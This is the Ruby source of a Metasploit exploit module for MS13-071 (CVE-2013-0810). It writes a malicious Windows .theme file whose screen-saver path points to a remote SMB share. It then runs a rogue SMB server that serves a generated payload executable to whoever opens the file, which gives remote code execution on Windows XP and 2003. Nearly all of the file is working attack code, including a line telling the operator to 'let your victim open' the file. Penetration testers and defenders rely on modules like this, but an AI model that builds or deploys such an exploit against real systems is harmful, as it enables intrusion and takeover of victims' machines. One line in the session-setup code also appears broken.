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metasploit-framework/modules/exploits/windows/fileformat/ms13_071_theme.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::SMBServer
def initialize(info={})
super(update_info(info,
'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]
section. An arbitrary path can be used as screen saver, including a remote SMB resource,
which allows for remote code execution when a malicious .theme file is opened, and the
"Screen Saver" tab is viewed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Eduardo Prado', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2013-0810'],
['OSVDB', '97136'],
['MSB', 'MS13-071'],
['BID', '62176']
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'false'
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 / Windows 2003 SP2', {}],
],
'Privileged' => false,
'DisclosureDate' => "Sep 10 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
], self.class)
end
def exploit
if (datastore['UNCPATH'])
@unc = datastore['UNCPATH']
print_status("Remember to share the malicious EXE payload as #{@unc}")
else
print_status("Generating our malicious executable...")
@exe = generate_payload_exe
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
@share = rand_text_alpha(5 + rand(5))
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
end
print_status("Creating '#{datastore['FILENAME']}' file ...")
# Default Windows XP / 2003 theme modified
theme = <<-EOF
; Copyright © Microsoft Corp. 1995-2001
[Theme]
DisplayName=@themeui.dll,-2016
; My Computer
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe,0
; My Documents
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0
; My Network Places
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17
; Recycle Bin
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]
full=%WinDir%SYSTEM32\\shell32.dll,32
empty=%WinDir%SYSTEM32\\shell32.dll,31
[Control Panel\\Desktop]
Wallpaper=
TileWallpaper=0
WallpaperStyle=2
Pattern=
ScreenSaveActive=0
[boot]
SCRNSAVE.EXE=#{@unc}
[MasterThemeSelector]
MTSM=DABJDKT
EOF
file_create(theme)
print_good("Let your victim open #{datastore['FILENAME']}")
if not datastore['UNCPATH']
print_status("Ready to deliver your payload on #{@unc}")
super
end
end
# TODO: these smb_* methods should be moved up to the SMBServer mixin
# development and test on progress
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
vprint_status("Received command #{cmd} from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
wordcount = pkt['Payload']['SMB'].v['WordCount']
if wordcount == 0x0D # It's the case for Share Security Mode sessions
smb_cmd_session_setup(c, buff)
else
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
smb_cmd_trans(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
smb_cmd_create(c, buff)
when CONST::SMB_COM_READ_ANDX
smb_cmd_read(c, buff)
else
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
pkt['Payload'].v['MaxMPX'] = 50
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['SystemTimeLow'] = time_lo
pkt['Payload'].v['SystemTimeHigh'] = time_hi
pkt['Payload'].v['ServerTimeZone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = 0x80f3fd
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 3
pkt['Payload'].v['AndX'] = 0x75
pkt['Payload'].v['Reserved1'] = 00
pkt['Payload'].v['AndXOffset'] = 96
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
pkt['Payload'].v['Payload'] =
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
tree_connect_response = ""
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
tree_connect_response << "A:\x00" # Service
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
# Fix the Netbios Session Service Message Length
# to have into account the tree_connect_response,
# need to do this because there isn't support for
# AndX still
my_pkt = pkt.to_s + tree_connect_response
original_length = my_pkt[2, 2].unpack("n").first
original_length = original_length + tree_connect_response.length
my_pkt[2, 2] = [original_length].pack("n")
c.put(my_pkt)
end
def smb_cmd_create(c, buff)
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 42
pkt['Payload'].v['AndX'] = 0xff # no further commands
pkt['Payload'].v['OpLock'] = 0x2
# No need to track fid here, we're just offering one file
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = @lo
pkt['Payload'].v['CreateTimeHigh'] = @hi
pkt['Payload'].v['AccessTimeLow'] = @lo
pkt['Payload'].v['AccessTimeHigh'] = @hi
pkt['Payload'].v['WriteTimeLow'] = @lo
pkt['Payload'].v['WriteTimeHigh'] = @hi
pkt['Payload'].v['ChangeTimeLow'] = @lo
pkt['Payload'].v['ChangeTimeHigh'] = @hi
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
pkt['Payload'].v['AllocLow'] = 0x100000
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = @exe.length
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = 0
pkt['Payload'].v['IPCState'] = 0x7
pkt['Payload'].v['IsDirectory'] = 0
c.put(pkt.to_s)
else
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_read(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 0xff # no more commands
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = length
pkt['Payload'].v['DataOffset'] = 59
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 6
pkt['Payload'].v['ByteCount'] = length
pkt['Payload'].v['Payload'] = @exe[offset, length]
c.put(pkt.to_s)
end
def smb_cmd_trans(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
case sub_command
when 0x5 # QUERY_PATH_INFO
smb_cmd_trans_query_path_info(c, buff)
when 0x1 # FIND_FIRST2
smb_cmd_trans_find_first2(c, buff)
else
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
c.put(pkt.to_s)
end
end
def smb_cmd_trans_query_path_info(c, buff)
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
if pkt['Payload'].v['SetupData'].length < 16
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
# return a Directory answer
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = 2
pkt['Payload'].v['DataCountTotal'] = 40
pkt['Payload'].v['ParamCount'] = 2
pkt['Payload'].v['ParamOffset'] = 56
pkt['Payload'].v['DataCount'] = 40
pkt['Payload'].v['DataOffset'] = 60
pkt['Payload'].v['Payload'] =
"\x00" + # Padding
# QUERY_PATH_INFO Parameters
"\x00\x00" + # EA Error Offset
"\x00\x00" + # Padding
#QUERY_PATH_INFO Data
[@lo, @hi].pack("VV") + # Created
[@lo, @hi].pack("VV") + # Last Access
[@lo, @hi].pack("VV") + # Last Write
[@lo, @hi].pack("VV") + # Change
"\x10\x00\x00\x00" + # File attributes => directory
"\x00\x00\x00\x00" # Unknown
c.put(pkt.to_s)
else
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
# returns an object name not found error
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
c.put(pkt.to_s)
end
end
def smb_cmd_trans_find_first2(c, buff)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
file_name = Rex::Text.to_unicode(@scr_file)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['ParamCountTotal'] = 10
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
pkt['Payload'].v['ParamCount'] = 10
pkt['Payload'].v['ParamOffset'] = 56
pkt['Payload'].v['DataCount'] = 94 + file_name.length
pkt['Payload'].v['DataOffset'] = 68
pkt['Payload'].v['Payload'] =
"\x00" + # Padding
# FIND_FIRST2 Parameters
"\xfd\xff" + # Search ID
"\x01\x00" + # Search count
"\x01\x00" + # End Of Search
"\x00\x00" + # EA Error Offset
"\x00\x00" + # Last Name Offset
"\x00\x00" + # Padding
#QUERY_PATH_INFO Data
[94 + file_name.length].pack("V") + # Next Entry Offset
"\x00\x00\x00\x00" + # File Index
[@lo, @hi].pack("VV") + # Created
[@lo, @hi].pack("VV") + # Last Access
[@lo, @hi].pack("VV") + # Last Write
[@lo, @hi].pack("VV") + # Change
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
"\x80\x00\x00\x00" + # File attributes => directory
[file_name.length].pack("V") + # File name len
"\x00\x00\x00\x00" + # EA List Lenght
"\x00" + # Short file lenght
"\x00" + # Reserved
("\x00" * 24) +
file_name
c.put(pkt.to_s)
end
end
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